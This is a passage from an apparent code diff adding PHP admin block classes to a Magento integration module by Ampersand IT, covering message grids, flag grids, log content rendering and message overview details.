126 |
+
'header' => Mage::helper('ampersand_integration')->__('Number of Errors'),
|
127 |
+
'type' => 'number',
|
128 |
+
'index' => 'nr_of_errors',
|
129 |
+
'filter_index' => 'nr_of_errors',
|
130 |
+
));
|
131 |
+
|
132 |
+
$this->addColumn('action',
|
133 |
+
array(
|
134 |
+
'header' => Mage::helper('ampersand_integration')->__('Action'),
|
135 |
+
'type' => 'action',
|
136 |
+
'index' => 'entity_id',
|
137 |
+
'actions' => array(
|
138 |
+
array(
|
139 |
+
'caption' => Mage::helper('sales')->__('View'),
|
140 |
+
'url' => array('base' => '*/message/view'),
|
141 |
+
'field' => 'id'
|
142 |
+
),
|
143 |
+
),
|
144 |
+
'filter' => false,
|
145 |
+
'sortable' => false,
|
146 |
+
'is_system' => true,
|
147 |
+
'width' => 1,
|
148 |
+
));
|
149 |
+
|
150 |
+
$this->addColumn('status_indicator', array(
|
151 |
+
'index' => 'state',
|
152 |
+
'filter' => false,
|
153 |
+
'renderer' => 'ampersand_integration_admin/grid_statusRenderer',
|
154 |
+
'header_css_class' => 'np nm',
|
155 |
+
'column_css_class' => 'np nm',
|
156 |
+
'width' => 1,
|
157 |
+
));
|
158 |
+
|
159 |
+
return parent::_prepareColumns();
|
160 |
+
}
|
161 |
+
}
|
app/code/core/Ampersand/Integration/Block/Adminhtml/Message/View.php
ADDED
@@ -0,0 +1,87 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Magento Suite
|
4 |
+
*
|
5 |
+
* @category Ampersand_Magento
|
6 |
+
* @package Ampersand_Integration
|
7 |
+
* @subpackage Block
|
8 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
9 |
+
* @license TBC
|
10 |
+
*/
|
11 |
+
|
12 |
+
/**
|
13 |
+
* @category Ampersand_Magento
|
14 |
+
* @package Ampersand_Integration
|
15 |
+
* @subpackage Block
|
16 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
17 |
+
*/
|
18 |
+
class Ampersand_Integration_Block_Adminhtml_Message_View
|
19 |
+
extends Ampersand_Adminhtml_Block_Widget_Container
|
20 |
+
{
|
21 |
+
public function __construct()
|
22 |
+
{
|
23 |
+
$this->_headerText = Mage::helper('ampersand_integration')->__(
|
24 |
+
'Message # %s Details', $this->getMessage()->getId()
|
25 |
+
);
|
26 |
+
|
27 |
+
$this->_addButton('back', array(
|
28 |
+
'label' => Mage::helper('adminhtml')->__('Back'),
|
29 |
+
'onclick' => 'setLocation(\'' . $this->getBackUrl() . '\')',
|
30 |
+
'class' => 'back',
|
31 |
+
), -1);
|
32 |
+
|
33 |
+
$this->addSearchScrollButtons(Mage::helper('ampersand_adminhtml')->__('Message'));
|
34 |
+
}
|
35 |
+
|
36 |
+
public function getSearchItemUrl(Ampersand_Adminhtml_Model_Search_Item $searchItem)
|
37 |
+
{
|
38 |
+
$searchItemParam = Ampersand_Adminhtml_Model_Search_Item::DEFAULT_GET_PARAM;
|
39 |
+
|
40 |
+
return $this->getUrl('*/*/*', array(
|
41 |
+
'id' => $searchItem->getCollectionItemId(),
|
42 |
+
$searchItemParam => $searchItem->getId(),
|
43 |
+
));
|
44 |
+
}
|
45 |
+
|
46 |
+
public function getMessage()
|
47 |
+
{
|
48 |
+
return Mage::registry('message');
|
49 |
+
}
|
50 |
+
|
51 |
+
public function getBackUrl()
|
52 |
+
{
|
53 |
+
return $this->getUrl('*/*/', array('service_code' => $this->getServiceCode()));
|
54 |
+
}
|
55 |
+
|
56 |
+
public function getServiceCode()
|
57 |
+
{
|
58 |
+
return Mage::helper('ampersand_integration/adminhtml')->getCurrentServiceCode();
|
59 |
+
}
|
60 |
+
|
61 |
+
public function getIsLogContentAllowed()
|
62 |
+
{
|
63 |
+
return Mage::getSingleton('ampersand_integration/adminSession')
|
64 |
+
->isMessageLogContentAllowed($this->getMessage()->getService());
|
65 |
+
}
|
66 |
+
|
67 |
+
/**
|
68 |
+
* @deprecated
|
69 |
+
*/
|
70 |
+
public function isLogContentAllowed()
|
71 |
+
{
|
72 |
+
return $this->getIsLogContentAllowed();
|
73 |
+
}
|
74 |
+
|
75 |
+
public function getCanShowLogContent()
|
76 |
+
{
|
77 |
+
$fileSizeLimit = 2 * 1024 * 1024; // 2 megabytes
|
78 |
+
|
79 |
+
return ($this->isLogContentAllowed() && $this->getLogFileSize()
|
80 |
+
&& $fileSizeLimit >= $this->getLogFileSize());
|
81 |
+
}
|
82 |
+
|
83 |
+
public function getLogFileSize()
|
84 |
+
{
|
85 |
+
return @filesize($this->getMessage()->getFullLogFilePath());
|
86 |
+
}
|
87 |
+
}
|
app/code/core/Ampersand/Integration/Block/Adminhtml/Message/View/Abstract.php
ADDED
@@ -0,0 +1,85 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Magento Suite
|
4 |
+
*
|
5 |
+
* @category Ampersand_Magento
|
6 |
+
* @package Ampersand_Integration
|
7 |
+
* @subpackage Block
|
8 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
9 |
+
* @license TBC
|
10 |
+
*/
|
11 |
+
|
12 |
+
/**
|
13 |
+
* @category Ampersand_Magento
|
14 |
+
* @package Ampersand_Integration
|
15 |
+
* @subpackage Block
|
16 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
17 |
+
*/
|
18 |
+
abstract class Ampersand_Integration_Block_Adminhtml_Message_View_Abstract
|
19 |
+
extends Mage_Adminhtml_Block_Widget
|
20 |
+
{
|
21 |
+
public function getMessage()
|
22 |
+
{
|
23 |
+
return Mage::registry('message');
|
24 |
+
}
|
25 |
+
|
26 |
+
public function getService()
|
27 |
+
{
|
28 |
+
return $this->getMessage()->getService();
|
29 |
+
}
|
30 |
+
|
31 |
+
protected function _helper()
|
32 |
+
{
|
33 |
+
return Mage::helper('ampersand_integration');
|
34 |
+
}
|
35 |
+
|
36 |
+
public function getCanDownloadLogFile()
|
37 |
+
{
|
38 |
+
return ($this->isLogContentAllowed() && $this->getDoesLogFileExist());
|
39 |
+
}
|
40 |
+
|
41 |
+
/**
|
42 |
+
* @deprecated
|
43 |
+
*/
|
44 |
+
public function isLogContentAllowed()
|
45 |
+
{
|
46 |
+
return $this->getIsLogContentAllowed();
|
47 |
+
}
|
48 |
+
|
49 |
+
public function getIsLogContentAllowed()
|
50 |
+
{
|
51 |
+
return $this->getParentBlock()->isLogContentAllowed();
|
52 |
+
}
|
53 |
+
|
54 |
+
public function getDoesLogFileExist()
|
55 |
+
{
|
56 |
+
return ($this->getMessage()->getFullLogFilePath()
|
57 |
+
&& @file_exists($this->getMessage()->getFullLogFilePath()));
|
58 |
+
}
|
59 |
+
|
60 |
+
public function getLogFileSize()
|
61 |
+
{
|
62 |
+
if (!$this->getDoesLogFileExist()) {
|
63 |
+
return null;
|
64 |
+
}
|
65 |
+
|
66 |
+
return @filesize($this->getMessage()->getFullLogFilePath());
|
67 |
+
}
|
68 |
+
|
69 |
+
public function getLogFileSizeString()
|
70 |
+
{
|
71 |
+
if (!$bytes = $this->getLogFileSize()) {
|
72 |
+
return null;
|
73 |
+
}
|
74 |
+
|
75 |
+
$kilobytes = $bytes / 1024;
|
76 |
+
|
77 |
+
if (1024 > $kilobytes) {
|
78 |
+
return Mage::helper('ampersand_integration')->__('%s KB', round($kilobytes));
|
79 |
+
}
|
80 |
+
|
81 |
+
$megabytes = $kilobytes / 1024;
|
82 |
+
|
83 |
+
return Mage::helper('ampersand_integration')->__('%s MB', round($megabytes, 2));
|
84 |
+
}
|
85 |
+
}
|
app/code/core/Ampersand/Integration/Block/Adminhtml/Message/View/Flags/Grid.php
ADDED
@@ -0,0 +1,123 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Magento Suite
|
4 |
+
*
|
5 |
+
* @category Ampersand_Magento
|
6 |
+
* @package Ampersand_Integration
|
7 |
+
* @subpackage Block
|
8 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
9 |
+
* @license TBC
|
10 |
+
*/
|
11 |
+
|
12 |
+
/**
|
13 |
+
* @category Ampersand_Magento
|
14 |
+
* @package Ampersand_Integration
|
15 |
+
* @subpackage Block
|
16 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
17 |
+
*/
|
18 |
+
class Ampersand_Integration_Block_Adminhtml_Message_View_Flags_Grid
|
19 |
+
extends Ampersand_Integration_Block_Adminhtml_GridAbstract
|
20 |
+
{
|
21 |
+
public function __construct()
|
22 |
+
{
|
23 |
+
parent::__construct();
|
24 |
+
|
25 |
+
$this->setId('flag_grid')
|
26 |
+
->setUseAjax(true)
|
27 |
+
->setDefaultSort('entity_id')
|
28 |
+
->setDefaultDir('ASC')
|
29 |
+
->setSaveParametersInSession(true)
|
30 |
+
;
|
31 |
+
}
|
32 |
+
|
33 |
+
protected function _prepareCollection()
|
34 |
+
{
|
35 |
+
$collection = Mage::getResourceModel('ampersand_integration/flag_collection')
|
36 |
+
->addFieldToFilter('message_id', $this->getMessage()->getId())
|
37 |
+
->joinStatus();
|
38 |
+
$this->setCollection($collection);
|
39 |
+
|
40 |
+
return parent::_prepareCollection();
|
41 |
+
}
|
42 |
+
|
43 |
+
protected function _prepareColumns()
|
44 |
+
{
|
45 |
+
$this->addColumn('entity_id', array(
|
46 |
+
'header' => Mage::helper('ampersand_integration')->__('Flag #'),
|
47 |
+
'index' => 'entity_id',
|
48 |
+
'type' => 'number',
|
49 |
+
));
|
50 |
+
|
51 |
+
$this->addColumn('identifier_id', array(
|
52 |
+
'header' => Mage::helper('ampersand_integration')->__('Reference #'),
|
53 |
+
'index' => 'identifier_id',
|
54 |
+
'type' => 'number',
|
55 |
+
));
|
56 |
+
|
57 |
+
$this->addColumn('short_text', array(
|
58 |
+
'header' => Mage::helper('ampersand_integration')->__('Short Text'),
|
59 |
+
'index' => 'short_text',
|
60 |
+
));
|
61 |
+
|
62 |
+
$this->addColumn('status_code', array(
|
63 |
+
'header' => Mage::helper('ampersand_integration')->__('Status Code'),
|
64 |
+
'index' => 'status_code',
|
65 |
+
'filter_index' => 'status_code',
|
66 |
+
));
|
67 |
+
|
68 |
+
$this->addColumn('status_description', array(
|
69 |
+
'header' => Mage::helper('ampersand_integration')->__('Description'),
|
70 |
+
'index' => 'status_text',
|
71 |
+
'filter_index' => 'status_text',
|
72 |
+
));
|
73 |
+
|
74 |
+
$this->addColumn('stauts_type', array(
|
75 |
+
'header' => Mage::helper('ampersand_integration')->__('Type'),
|
76 |
+
'index' => 'status_type',
|
77 |
+
'filter_index' => 'status_type',
|
78 |
+
));
|
79 |
+
|
80 |
+
$this->addColumn('action',
|
81 |
+
array(
|
82 |
+
'header' => Mage::helper('ampersand_integration')->__('Action'),
|
83 |
+
'type' => 'action',
|
84 |
+
'index' => 'entity_id',
|
85 |
+
'actions' => array(
|
86 |
+
array(
|
87 |
+
'caption' => Mage::helper('sales')->__('View'),
|
88 |
+
'url' => array('base' => '*/flag/view'),
|
89 |
+
'field' => 'id'
|
90 |
+
),
|
91 |
+
),
|
92 |
+
'filter' => false,
|
93 |
+
'sortable' => false,
|
94 |
+
'is_system' => true,
|
95 |
+
'width' => 1,
|
96 |
+
));
|
97 |
+
|
98 |
+
return parent::_prepareColumns();
|
99 |
+
}
|
100 |
+
|
101 |
+
public function getMessage()
|
102 |
+
{
|
103 |
+
return Mage::registry('message');
|
104 |
+
}
|
105 |
+
|
106 |
+
public function getGridUrl()
|
107 |
+
{
|
108 |
+
return $this->getUrl(
|
109 |
+
'ampersand_integration_admin/message_view/flagsGrid', array('_current' => true)
|
110 |
+
);
|
111 |
+
}
|
112 |
+
|
113 |
+
public function getRowUrl($row)
|
114 |
+
{
|
115 |
+
$searchItemParam = Ampersand_Adminhtml_Model_Search_Item::DEFAULT_GET_PARAM;
|
116 |
+
|
117 |
+
return $this->getUrl('*/flag/view', array(
|
118 |
+
'id' => $row->getId(),
|
119 |
+
'service_code' => $this->getServiceCode(),
|
120 |
+
$searchItemParam => $this->getSearchItemId($row->getId()),
|
121 |
+
));
|
122 |
+
}
|
123 |
+
}
|
app/code/core/Ampersand/Integration/Block/Adminhtml/Message/View/LogContent.php
ADDED
@@ -0,0 +1,100 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Magento Suite
|
4 |
+
*
|
5 |
+
* @category Ampersand_Magento
|
6 |
+
* @package Ampersand_Integration
|
7 |
+
* @subpackage Block
|
8 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
9 |
+
* @license TBC
|
10 |
+
*/
|
11 |
+
|
12 |
+
/**
|
13 |
+
* @category Ampersand_Magento
|
14 |
+
* @package Ampersand_Integration
|
15 |
+
* @subpackage Block
|
16 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
17 |
+
*/
|
18 |
+
class Ampersand_Integration_Block_Adminhtml_Message_View_LogContent
|
19 |
+
extends Ampersand_Integration_Block_Adminhtml_Message_View_Abstract
|
20 |
+
{
|
21 |
+
public function getLogPairs()
|
22 |
+
{
|
23 |
+
if (!$this->hasLogPairs()) {
|
24 |
+
$this->setLogPairs($this->_getLogPairs());
|
25 |
+
}
|
26 |
+
|
27 |
+
return $this->getData('log_pairs');
|
28 |
+
}
|
29 |
+
|
30 |
+
protected function _getLogPairs()
|
31 |
+
{
|
32 |
+
if (false === ($xmlObject = $this->_getLogXmlObject())) {
|
33 |
+
return null;
|
34 |
+
}
|
35 |
+
|
36 |
+
return $xmlObject->asPairs();
|
37 |
+
}
|
38 |
+
|
39 |
+
protected function _getLogXmlObject()
|
40 |
+
{
|
41 |
+
return $this->getMessage()->getLogXmlObject();
|
42 |
+
}
|
43 |
+
|
44 |
+
public function getLogContentHtml()
|
45 |
+
{
|
46 |
+
if (false === ($xmlObject = $this->_getLogXmlObject())) {
|
47 |
+
return null;
|
48 |
+
}
|
49 |
+
|
50 |
+
switch ($xmlObject->getAttribute('version')) {
|
51 |
+
case '2.0':
|
52 |
+
return $this->_getXmlElementsHtml();
|
53 |
+
|
54 |
+
default:
|
55 |
+
return $this->_getPairsHtml();
|
56 |
+
}
|
57 |
+
}
|
58 |
+
|
59 |
+
protected function _getXmlElementsHtml()
|
60 |
+
{
|
61 |
+
$html = '';
|
62 |
+
|
63 |
+
if (($renderer = $this->_getXmlElementRenderer())
|
64 |
+
&& (false !== ($xmlObject = $this->_getLogXmlObject()))) {
|
65 |
+
foreach ($xmlObject->getChildren() as $_childElement) {
|
66 |
+
$html .= $renderer->renderElement($_childElement);
|
67 |
+
}
|
68 |
+
}
|
69 |
+
|
70 |
+
return $html;
|
71 |
+
}
|
72 |
+
|
73 |
+
protected function _getXmlElementRenderer()
|
74 |
+
{
|
75 |
+
return $this->getChild('xml_element_renderer');
|
76 |
+
}
|
77 |
+
|
78 |
+
protected function _getPairsHtml()
|
79 |
+
{
|
80 |
+
$html = '';
|
81 |
+
|
82 |
+
if (($renderer = $this->_getPairRenderer())
|
83 |
+
&& (false !== ($pairs = $this->getLogPairs()))) {
|
84 |
+
if (!is_object($pairs)) {
|
85 |
+
$pairs = array($pairs);
|
86 |
+
}
|
87 |
+
|
88 |
+
foreach ($pairs as $_name => $_value) {
|
89 |
+
$html .= $renderer->renderPair($_name, $_value);
|
90 |
+
}
|
91 |
+
}
|
92 |
+
|
93 |
+
return $html;
|
94 |
+
}
|
95 |
+
|
96 |
+
protected function _getPairRenderer()
|
97 |
+
{
|
98 |
+
return $this->getChild('pair_renderer');
|
99 |
+
}
|
100 |
+
}
|
app/code/core/Ampersand/Integration/Block/Adminhtml/Message/View/LogContent/Pair.php
ADDED
@@ -0,0 +1,61 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Magento Suite
|
4 |
+
*
|
5 |
+
* @category Ampersand_Magento
|
6 |
+
* @package Ampersand_Integration
|
7 |
+
* @subpackage Block
|
8 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
9 |
+
* @license TBC
|
10 |
+
*/
|
11 |
+
|
12 |
+
/**
|
13 |
+
* @category Ampersand_Magento
|
14 |
+
* @package Ampersand_Integration
|
15 |
+
* @subpackage Block
|
16 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
17 |
+
*/
|
18 |
+
class Ampersand_Integration_Block_Adminhtml_Message_View_LogContent_Pair
|
19 |
+
extends Ampersand_Integration_Block_Adminhtml_Message_View_Abstract
|
20 |
+
{
|
21 |
+
public function renderPair($name, $value)
|
22 |
+
{
|
23 |
+
$this->setFieldName($name);
|
24 |
+
$this->setFieldValue($value);
|
25 |
+
|
26 |
+
return $this->toHtml();
|
27 |
+
}
|
28 |
+
|
29 |
+
public function getFieldValueHtml()
|
30 |
+
{
|
31 |
+
$fieldValue = $this->getFieldValue();
|
32 |
+
|
33 |
+
if (!$this->getIsLeaf()) {
|
34 |
+
$html = '';
|
35 |
+
|
36 |
+
foreach ($fieldValue as $_name => $_value) {
|
37 |
+
$html .= $this->renderPair($_name, $_value);
|
38 |
+
}
|
39 |
+
} else {
|
40 |
+
$html = Mage::helper('ampersand_core')->prepareStringForHtmlRender($fieldValue);
|
41 |
+
}
|
42 |
+
|
43 |
+
return $html;
|
44 |
+
}
|
45 |
+
|
46 |
+
public function getIsLeaf()
|
47 |
+
{
|
48 |
+
return !is_object($this->getFieldValue());
|
49 |
+
}
|
50 |
+
|
51 |
+
public function getNrOfLines()
|
52 |
+
{
|
53 |
+
if ($this->getIsLeaf()) {
|
54 |
+
$nrOfLines = 1 + substr_count($this->getFieldValue(), "\n");
|
55 |
+
} else {
|
56 |
+
$nrOfLines = $this->getFieldValue()->count();
|
57 |
+
}
|
58 |
+
|
59 |
+
return $nrOfLines;
|
60 |
+
}
|
61 |
+
}
|
app/code/core/Ampersand/Integration/Block/Adminhtml/Message/View/LogContent/XmlElement.php
ADDED
@@ -0,0 +1,84 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Magento Suite
|
4 |
+
*
|
5 |
+
* @category Ampersand_Magento
|
6 |
+
* @package Ampersand_Integration
|
7 |
+
* @subpackage Block
|
8 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
9 |
+
* @license TBC
|
10 |
+
*/
|
11 |
+
|
12 |
+
/**
|
13 |
+
* @category Ampersand_Magento
|
14 |
+
* @package Ampersand_Integration
|
15 |
+
* @subpackage Block
|
16 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
17 |
+
*/
|
18 |
+
class Ampersand_Integration_Block_Adminhtml_Message_View_LogContent_XmlElement
|
19 |
+
extends Ampersand_Integration_Block_Adminhtml_Message_View_Abstract
|
20 |
+
{
|
21 |
+
public function renderElement($xmlElement)
|
22 |
+
{
|
23 |
+
$this->setFieldName($xmlElement->getAttribute('name'));
|
24 |
+
$this->setFieldType($xmlElement->getName());
|
25 |
+
|
26 |
+
switch($xmlElement->getName()) {
|
27 |
+
case 'string':
|
28 |
+
$this->setFieldTypeInfo($xmlElement->getAttribute('length'));
|
29 |
+
break;
|
30 |
+
case 'array':
|
31 |
+
$this->setFieldTypeInfo($xmlElement->getAttribute('size'));
|
32 |
+
break;
|
33 |
+
case 'object':
|
34 |
+
$this->setFieldTypeInfo($xmlElement->getAttribute('class'));
|
35 |
+
break;
|
36 |
+
default:
|
37 |
+
$this->unsFieldTypeInfo();
|
38 |
+
break;
|
39 |
+
}
|
40 |
+
|
41 |
+
if ($xmlElement->hasChildren()) {
|
42 |
+
$this->setFieldValue($xmlElement->getChildren());
|
43 |
+
} else {
|
44 |
+
$value = $xmlElement->getValue();
|
45 |
+
if ('base64' == $xmlElement->getAttribute('encoding')) {
|
46 |
+
$value = base64_decode($value);
|
47 |
+
}
|
48 |
+
$this->setFieldValue($value);
|
49 |
+
}
|
50 |
+
|
51 |
+
$this->setIsLeaf(!$xmlElement->hasChildren());
|
52 |
+
|
53 |
+
return $this->toHtml();
|
54 |
+
}
|
55 |
+
|
56 |
+
public function getFieldValueHtml()
|
57 |
+
{
|
58 |
+
$fieldValue = $this->getFieldValue();
|
59 |
+
|
60 |
+
if (!$this->getIsLeaf()) {
|
61 |
+
$html = '';
|
62 |
+
|
63 |
+
foreach ($fieldValue as $_element) {
|
64 |
+
$html .= $this->renderElement($_element);
|
65 |
+
}
|
66 |
+
} else {
|
67 |
+
$html = Mage::helper('ampersand_core')->prepareStringForHtmlRender($fieldValue);
|
68 |
+
}
|
69 |
+
|
70 |
+
return $html;
|
71 |
+
}
|
72 |
+
|
73 |
+
public function getNrOfLines()
|
74 |
+
{
|
75 |
+
if ($this->getIsLeaf()) {
|
76 |
+
$nrOfLines = 1 + substr_count($this->getFieldValue(), "\n");
|
77 |
+
} else {
|
78 |
+
//$nrOfLines = count($this->getFieldValue()->getChildren());
|
79 |
+
$nrOfLines = 0;
|
80 |
+
}
|
81 |
+
|
82 |
+
return $nrOfLines;
|
83 |
+
}
|
84 |
+
}
|
app/code/core/Ampersand/Integration/Block/Adminhtml/Message/View/Overview.php
ADDED
@@ -0,0 +1,52 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Magento Suite
|
4 |
+
*
|
5 |
+
* @category Ampersand_Magento
|
6 |
+
* @package Ampersand_Integration
|
7 |
+
* @subpackage Block
|
8 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
9 |
+
* @license TBC
|
10 |
+
*/
|
11 |
+
|
12 |
+
/**
|
13 |
+
* @category Ampersand_Magento
|
14 |
+
* @package Ampersand_Integration
|
15 |
+
* @subpackage Block
|
16 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
17 |
+
*/
|
18 |
+
class Ampersand_Integration_Block_Adminhtml_Message_View_Overview
|
19 |
+
extends Ampersand_Integration_Block_Adminhtml_Message_View_Abstract
|
20 |
+
{
|
21 |
+
public function getMessageDirectionText()
|
22 |
+
{
|
23 |
+
switch ($this->getMessage()->getDirection()) {
|
24 |
+
case Ampersand_Integration_Model_Message::DIRECTION_INCOMING:
|
25 |
+
$messageText = $this->_helper()->__('Incoming');
|
26 |
+
if ($service = $this->getService()) {
|
27 |
+
$messageText .= " ({$this->_helper()->__("from %s to Magento", $service->getDescription())})";
|
28 |
+
}
|
29 |
+
break;
|
30 |
+
case Ampersand_Integration_Model_Message::DIRECTION_OUTGOING:
|
31 |
+
$messageText = $this->_helper()->__('Outgoing');
|
32 |
+
if ($service = $this->getService()) {
|
33 |
+
$messageText .= " ({$this->_helper()->__("from Magento to %s", $service->getDescription())})";
|
34 |
+
}
|
35 |
+
break;
|
36 |
+
default:
|
37 |
+
$messageText = "<em>{$this->_helper()->__('Unknown')}</em>";
|
38 |
+
break;
|
39 |
+
}
|
40 |
+
|
41 |
+
return $messageText;
|
42 |
+
}
|
43 |
+
|
44 |
+
public function getMessageUrl()
|
45 |
+
{
|
46 |
+
return Mage::helper('adminhtml')->getUrl(
|
47 |
+
'ampersand_integration_admin/message/view', array(
|
48 |
+
'_current' => true,
|
49 |
+
'id' => $this->getMessage()->getId(),
|
50 |
+
));
|
51 |
+
}
|
52 |
+
}
|
app/code/core/Ampersand/Integration/Block/Adminhtml/Message/View/RelatedObjects/Grid.php
ADDED
@@ -0,0 +1,130 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Magento Suite
|
4 |
+
*
|
5 |
+
* @category Ampersand_Magento
|
6 |
+
* @package Ampersand_Integration
|
7 |
+
* @subpackage Block
|
8 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
9 |
+
